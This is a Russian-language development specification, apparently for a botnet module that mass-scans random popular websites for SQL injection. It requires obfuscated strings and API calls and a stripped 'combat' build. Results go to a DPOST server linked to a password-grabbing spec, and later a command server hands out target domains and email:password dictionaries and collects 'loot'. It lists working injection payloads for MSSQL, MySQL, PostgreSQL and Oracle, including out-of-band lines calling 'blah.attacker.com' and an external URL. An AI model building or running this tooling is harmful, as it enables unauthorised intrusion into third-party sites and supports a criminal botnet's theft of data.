You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
353 lines
23 KiB
353 lines
23 KiB
ЗАДАНИЕ НА РАЗРАБОТКУ СКАНЕРА УЯЗВИМОСТЕЙ ВЕБ-САЙТОВ
|
|
|
|
|
|
ЦЕЛЬ
|
|
|
|
Необходимо написать модуль сканера уязвимостей веб-сайтов. Модуль должен быть оформлен в соответствии с правилами, приведенными в документе modules_HOWTO.
|
|
|
|
|
|
ПРИНЦИП РАБОТЫ
|
|
|
|
Сканер состоит из двух основных частей:
|
|
* кроулер
|
|
* детектор
|
|
|
|
Кроулер генерирует URL-адреса для проверки.
|
|
Детектор проверяет их.
|
|
|
|
Результатом проверки единичного сайта является факт наличия или отстутствия уязвимости.
|
|
Если уязвимость найдена, она сопровождается дополнительной информацией:
|
|
- точный URL, на котором найдена уязвимость
|
|
- сработавшее правило сканера
|
|
- предполагаемый тип СУБД (определяется из сработавшего правила)
|
|
|
|
Результатом работы всего модуля является список найденных в процессе работы уязвимостей.
|
|
|
|
|
|
РЕАЛИЗАЦИЯ
|
|
|
|
0. Название проекта - sqlscan
|
|
|
|
1. Сканер может и должен работать в несколько потоков. Число потоков задается параметром в конфиге; если он отсутствует, используется константа времени компиляции.
|
|
Есть два варианта разбиения на потоки:
|
|
1)
|
|
- в первой группе потоков отрабатывает кроулер по разным доменам, генерируя список для детектора
|
|
- во второй группе потоков отрабатывает детектор, выбирая из выходного списка кроулера записи для проверки.
|
|
2) в каждом потоке работает одновременно и кроулер, и детектор:
|
|
- кроулер генерирует домен для проверки и передает ее детектору
|
|
- детектор проверяет домен и вновь запускает кроулер.
|
|
|
|
Второй вариант выглядит проще с точки зрения межпоточной синхронизации.
|
|
|
|
|
|
2. Инициализация модуля:
|
|
Инициализируем генератор псевдослучайных чисел.
|
|
Случайности в алгоритме отводится большое значение.
|
|
Инициализация должна происходить значением GetTickCount64().
|
|
|
|
3. Алгоритм работы кроулера:
|
|
1) стартуем с https://findsubdomains.com/world-top (этот URL и правила его парсинга задаются в конфиге - TODO пока не описано в ТЗ)
|
|
s3.amazonaws.com/alexa-static/top-1m.csv.zip
|
|
2) выбираем случайный сайт из списка от 1 до 50000
|
|
3) определяем субдомены этого сайта, с помощью DNS-запроса
|
|
4) парсим главную страницу:
|
|
- ищем ссылки с динамическими страницами (есть тело GET-запроса: page.html?var=val&var1=val1...)
|
|
- ищем веб-формы с отправкой по POST
|
|
5) Парсим файл robots.txt. В них могут указывать динамические страницы, с просьбой их не индексировать.
|
|
6) Составляем список параметров URI-запроса для страницы.
|
|
Отдельно помечаем те параметры, в которых есть:
|
|
- числа (в том числе отрицательные)
|
|
- url-encoded значения или обычный текст
|
|
Все параметры URI-запроса страницы являются неотъемлемыми свойствами страницы и также передаются в выдачу.
|
|
Однако дальнейшее сканирование производится лишь по помеченным параметрам, пригодным для скана.
|
|
7) добавляем страницу с параметрами в выдачу.
|
|
|
|
4. Алгоритм работы детектора:
|
|
1) Получаем следующий URL с выхода кроулера
|
|
2) Получаем следующее правило из списка правил
|
|
3) Применяем правило к странице.
|
|
3.1) Если правило сработало, добавляем страницу, сработавший параметр, и правило в выдачу. goto 1.
|
|
3.2) Если правило не сработало, goto 2
|
|
3.3) Если правил больше нет, goto 1
|
|
|
|
|
|
5. Модуль отправляет список найденных уязвимостей раз в Н минут (задается константой компиляции и настройкой из конфига),
|
|
при условии что с предыдущей отправки были найдены новые пароли.
|
|
Логика отправки и протокол описаны в документе "ТЗ граб паролей DPOST.txt"
|
|
Формат отправки: текст, разделенный на строки символами \r\n
|
|
В одной строке - одна запись.
|
|
Разделитель полей записи - символ '|' (вертикальная черта)
|
|
Формат записи:
|
|
|
|
url|param1|rule name1|param2|rule name2|...|paramN|rule nameN\r\n
|
|
|
|
таким образом, количество записей плавающее.
|
|
Здесь:
|
|
url - полный URL сайта с обнаруженной уязвимостью, ВКЛЮЧАЯ ВСЕ ПАРАМЕТРЫ (т.е. все после символа ? в URI - важная информация!)
|
|
param - имя параметра с обнаруженной уязвимостью
|
|
rule name - имя правила обнаруженной уязвимости.
|
|
|
|
6. Модуль оформляется в соответствии с правилами разработки модулей (см. modules_HOWTO.txt)
|
|
|
|
7. Модуль отправляет следующие события с тегом owa:
|
|
- "Version build %DATE% %TIME%" (один раз при старте)
|
|
- "Vulns sent to DPOST server" при успешной отправке собранных уязвимостей
|
|
- "Vulns send failure: servers unavailable" при отсутствии доступных серверов DPOST
|
|
- "No vulns detected, give up", если закончена отработка модуля и ничего не найдено (гипотетический случай)
|
|
В таком случае, модуль должен выдать событие WantRelease (см "module_HOWTO") для выгрузки из памяти
|
|
|
|
8. В данном модуле можно ограниченно использовать C++ STL (std::string, контейнеры).
|
|
Запрещено использовать std::mutex и примитивы синхронизации - для этого можно использовать только
|
|
примитивы синхронизации WinAPI (CRITICAL_SECTION итд).
|
|
|
|
9. Строки обфусцировать библиотекой Andrivet (приложена, см.макрос _STR())
|
|
|
|
10. Системные вызовы обфусцировать библиотекой GetApi.h. Быть внимательным, обфускация сисвызовов может давать падения.
|
|
|
|
11. Модуль должен иметь две версии - x32- и x64-разрядную.
|
|
|
|
12. В боевой сборке должны быть обфусцированы по максимуму строки, отключен всяческий отладочный вывод.
|
|
|
|
13. Модуль должен иметь отладочную версию. Отладочный вывод должен выводиться в c:/temp/webscan.log (путь к логу настраивается в макросе).
|
|
Каждая запись лога должна содержать временнУю метку с точностью до секунды.
|
|
|
|
14. В проекте должен быть файл настроек config.h (название неважно, важна суть - здесь все глобальные настройки - пути, макросы-переключатели условной компиляции итд).
|
|
|
|
15. Модуль должен работать на всех современных версиях Windows.
|
|
Минимальная поддерживаемая версия Windows - Windows XP (если невозможно - Windows Vista).
|
|
|
|
16. Проект должен быть оформлен для сборки в Microsoft Visual Studio не ниже 2015.
|
|
|
|
17. Проект Visual Studio должен быть настроен следующим образом:
|
|
* Для ВСЕХ профилей сборки:
|
|
- выходной каталог: $(SolutionDir)Bin\$(PlatformTarget)\$(Configuration)\
|
|
- Промежуточный каталог: $(SolutionDir)\obj\$(Platform)\$(Configuration)\$(ProjectName)\
|
|
- Многопроцессорная компиляция: да
|
|
* Профиль Release:
|
|
- Формат отладочной информации (С/С++ создание кода): нет
|
|
- Создавать отладочную информацию (компоновщик/отладка): нет
|
|
|
|
|
|
ПРАВИЛА ФАЗЗИНГА
|
|
|
|
Правила фаззинга делятся на два типа:
|
|
- временнЫе: проверяют уязвимость наличием задержки при HTTP-ответе, при инъекции кода с командой sleep.
|
|
- разностные: проверяют уязвимость фактом отсутствия разницы между константным значением параметра
|
|
и этим же значением, _вычисляемым_ в инъектированном выражении.
|
|
|
|
Пример временнОго правила:
|
|
[email protected]';waitfor delay '00:00:10'--
|
|
выполнится с задержкой 10 секунд, а
|
|
[email protected]
|
|
выполнится без задержки
|
|
|
|
Пример разностного правила:
|
|
?id=22
|
|
и
|
|
?id=23-1
|
|
выдадут одинаковую страницу
|
|
|
|
а
|
|
?id=22
|
|
и
|
|
?id=23
|
|
выдадут разные страницы (суть второй проверки - убедиться, что изменение параметра вообще в принципе влияет на выдачу).
|
|
|
|
В разностных правилах нужно учитывать, что формально разные результаты могут быть фактически одинаковыми
|
|
(например если на странице есть вывод текущего времени - фактически страница не изменялась, а формально страница секунду назад не равна странице сейчас).
|
|
Возможно, при проверке одинаковости страниц нужно считать расстояние Левенштейна (правда, тут сомнения, т.к. алгоритм Вагнера — Фишера прожорлив до памяти).
|
|
|
|
КОНФИГИ
|
|
|
|
Имя конфига - это аргумент Ctl функции Control, содержимое конфига - это аргумент CtlArg (см. modules_HOWTO.txt)
|
|
|
|
Весь текст в конфигах регистрозависимый; теги и служебные значения должны быть в нижнем регистре.
|
|
Конфиги должны быть в любой однобайтной кодировке (предпочтительно ASCII).
|
|
XML-комментарии запрещены.
|
|
|
|
|
|
* settings
|
|
Конфиг представляет из себя простой xml в следующем формате:
|
|
|
|
<scan>
|
|
<delay>задержка между итерациями подбора, в миллисекундах</delay>
|
|
<threads>число потоков подбора</threads>
|
|
<start>URL стартовой страницы, с которой брать список сайтов на проверку</start>
|
|
<regex>регулярное выражение для поиска доменов на стартовой странице</regex>
|
|
</scan>
|
|
|
|
Все параметры из этого конфига опциональные. Если параметр не указан, используется константа времени компиляции.
|
|
|
|
* rules
|
|
|
|
|
|
Список правил к тестированию:
|
|
|
|
<rules>
|
|
<rule>
|
|
<name>имя правила</name>
|
|
<type>time|diff (одно из двух этих значений)</type>
|
|
<value1>значение, подставляемое в тестируемый параметр</value1>
|
|
<value2>значение, подставляемое в тестируемый параметр</value2>
|
|
<value3>значение, подставляемое в тестируемый параметр</value3>
|
|
</rule>
|
|
...
|
|
<rule>
|
|
...
|
|
</rule>
|
|
</rules>
|
|
|
|
Назначение тегов:
|
|
name - название правила; играет роль в выдаче модуля (указывает на тип уязвимости)
|
|
type - одно из двух значений type или diff - определяет тип правила (временнОе или разностное)
|
|
value* - для временнЫх правил, это значение нужно подставить в тестируемый параметр.
|
|
Если тегов со значением несколько, их нужно подставить все по очереди, до успеха.
|
|
При успешном тесте, оставшиеся значения можно не проверять.
|
|
- для разностных правил:
|
|
value1 - константное значение: с результатом выдачи на это значение мы будем сравнивать
|
|
value2 - вычисляемый эквивалент: результат выдачи по этому значению мы будем сравнивать с выдачей по value1.
|
|
value3 - контрольное значение: результат выдачи по этому значению мы будем сравнивать с value1.
|
|
Успехом считается, если выдача на value1 и value2 одинакова, а value1 и value3 отличается.
|
|
|
|
|
|
Начальный вариант конфига
|
|
|
|
<rules>
|
|
<rule>
|
|
<name>MSSQL injection</name>
|
|
<type>time</type>
|
|
<value1>[email protected]';waitfor delay '00:00:10'--</value1>
|
|
</rule>
|
|
<rule>
|
|
<name>MySQL injection</name>
|
|
<type>time</type>
|
|
<value1>[email protected]';SELECT BENCHMARK(1000000,MD5(‘A’));--</value1>
|
|
</rule>
|
|
<rule>
|
|
<name>Postgres injection</name>
|
|
<type>time</type>
|
|
<value1>[email protected]';SELECT pg_sleep(10);--</value1>
|
|
</rule>
|
|
<rule>
|
|
<name>Oracle injection</name>
|
|
<type>time</type>
|
|
<value1>[email protected]';BEGIN DBMS_LOCK.SLEEP(5); END; --</value1>
|
|
<value2>[email protected]';SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; --</value2>
|
|
<value3>[email protected]';SELECT UTL_INADDR.get_host_address('blah.attacker.com') FROM dual; --</value3>
|
|
<value4>[email protected]';SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual; --</value4>
|
|
</rule>
|
|
<rule>
|
|
<name>Unescaped numeric</name>
|
|
<type>diff</type>
|
|
<value1>22</value1>
|
|
<value2>23-1</value2>
|
|
<value3>23</value3>
|
|
</rule>
|
|
<rule>
|
|
<name>Unescaped string</name>
|
|
<type>diff</type>
|
|
<value1>22</value1>
|
|
<value2>22' and '1' = '1</value2>
|
|
<value3>22' and '2'='1</value3>
|
|
</rule>
|
|
</rules>
|
|
|
|
|
|
ВТОРАЯ ВЕРСИЯ
|
|
|
|
Во второй версии модуль управляется не входными данными из конфигов, а запросами к командному серверу.
|
|
|
|
|
|
КОМАНДНЫЙ СЕРВЕР И КОНФИГИ
|
|
|
|
Ранее мы получали все исходные данные в виде конфигов от бекенда ботов.
|
|
Это довольно неудобно по разным причинам - ограничения бекенда на размеры конфигов,
|
|
ограничения на управление конфигами оператором, отсутствие общего статуса сети,
|
|
отсутствие специализированного хранилища для результатов.
|
|
|
|
Вместо этого будет использоваться командный сервер, у которого мы просим настройки и входные списки,
|
|
и которому отдаем добычу.
|
|
|
|
В связи с этим, упраздняются все конфиги из первой версии.
|
|
Появляется новый конфиг srv, содержащий список адресов управляющего сервера,
|
|
разделенных \r\n или \n, в формате адрес:порт.
|
|
Если порт четный, работа идет по HTTP, если нечетный - HTTPS.
|
|
Если указан префикс протокола (http/https), префикс имеет приоритет над указанным портом.
|
|
Модуль работает с тем управляющим сервером, до которого удалось достучаться первым, по каждому запросу.
|
|
|
|
Получить режим работы можно HTTP-запросом на сервер
|
|
|
|
GET /<group>/<clientid>/sql/mode HTTP/1.1
|
|
Значения group и clientid - это поля struct ParentInfo
|
|
CHAR ParentID[256];
|
|
CHAR ParentGroup[64];
|
|
(см. module_HOWTO)
|
|
|
|
В теле HTTP-ответа модуль ожидает строку brute или check.
|
|
Любое другое значение некорректно - в таком случае модуль делает повторные запросы
|
|
каждые 5 минут; до получения корректного ответа работа модуля не начинается.
|
|
|
|
Число потоков сканирования:
|
|
GET /<group>/<clientid>/sql/th HTTP/1.1
|
|
|
|
В ответ - неотрицательное число.
|
|
Если atoi(ответ) == 0, то число потоков по умолчанию = std::thread_concurrency() - 1.
|
|
|
|
Сканер получает список доменов для проверки HTTP-запросом на сервер
|
|
|
|
GET /<group>/<clientid>/sql/domains HTTP/1.1
|
|
Формат ответа:
|
|
адрес1[\r]\n
|
|
домен2[\r]\n
|
|
...
|
|
(одна или множество записей)
|
|
|
|
При завершении перебора по выданному списку мы даем знать об этом серверу:
|
|
|
|
GET /<group>/<clientid>/sql/over HTTP/1.1
|
|
|
|
Ответ сервера - такой же, как на запрос /domains - новый список доменов для работы.
|
|
При неожиданном ответе (пустой список, код ошибки итд) модуль переходит на холостой ход (сканирование остановлено)
|
|
и делает тот же самый запрос раз в 10 минут (время - в константу).
|
|
|
|
Словарь для перебора получаем HTTP-запросом к управляющему серверу:
|
|
GET /<group>/<clientid>/sql/dict HTTP/1.1
|
|
|
|
В ответ нам приходит словарь либо как text/plain, либо application/gzip (смотрим на заголовок ответа Content-Type)
|
|
Если упаковка в gzip, то после распаковки мы ожидаем такой же формат словаря, как для простого текста.
|
|
Формат:
|
|
email:password[\r]\n
|
|
|
|
Правила сканирования запрашиваем так:
|
|
GET /<group>/<clientid>/sql/rules HTTP/1.1
|
|
|
|
Ответ - text/plain либо application/gzip (пока ограничиться text/plain)
|
|
|
|
Отправка делается по протоколу DPOST (см. "ТЗ граб паролей DPOST" для описания протокола) запросом
|
|
|
|
POST /<group>/<clientid>/sql/81 HTTP/1.1
|
|
|
|
Собранные данные отправляются в контейнере multipart/form-data с полями source и data.
|
|
Значение поля source - "SQL Injections"
|
|
Значение поля data: простой текст, разделитель строк \r\n
|
|
Формат записи:
|
|
|
|
url|param1|rule name1|param2|rule name2|...|paramN|rule nameN\r\n
|
|
...
|
|
(одна или множество записей)
|
|
|
|
Частоту отправки намайненных данных можно получить с управляющего сервера HTTP-запросом
|
|
GET /<group>/<clientid>/sql/freq HTTP/1.1
|
|
|
|
В теле ответа мы ожидаем число - это число секунд, не чаще которого следует отправлять данные.
|
|
Если это 0 - отправка сразу по готовности нового результата.
|
|
Если это положительное число - мы накапливаем записи в буфере и отправляем раз в X секунд,
|
|
очищая буфер при успешной отправке.
|
|
|
|
При завершении перебора по выданному списку мы даем знать об этом серверу:
|
|
|
|
GET /<group>/<clientid>/sql/over HTTP/1.1
|
|
|
|
Ответ сервера - такой же, как на запрос /domains - новый список доменов для работы.
|
|
При неожиданном ответе (пустой список, код ошибки итд) модуль переходит на холостой ход (сканирование остановлено)
|
|
и делает тот же самый запрос раз в 10 минут (время - в константу).
|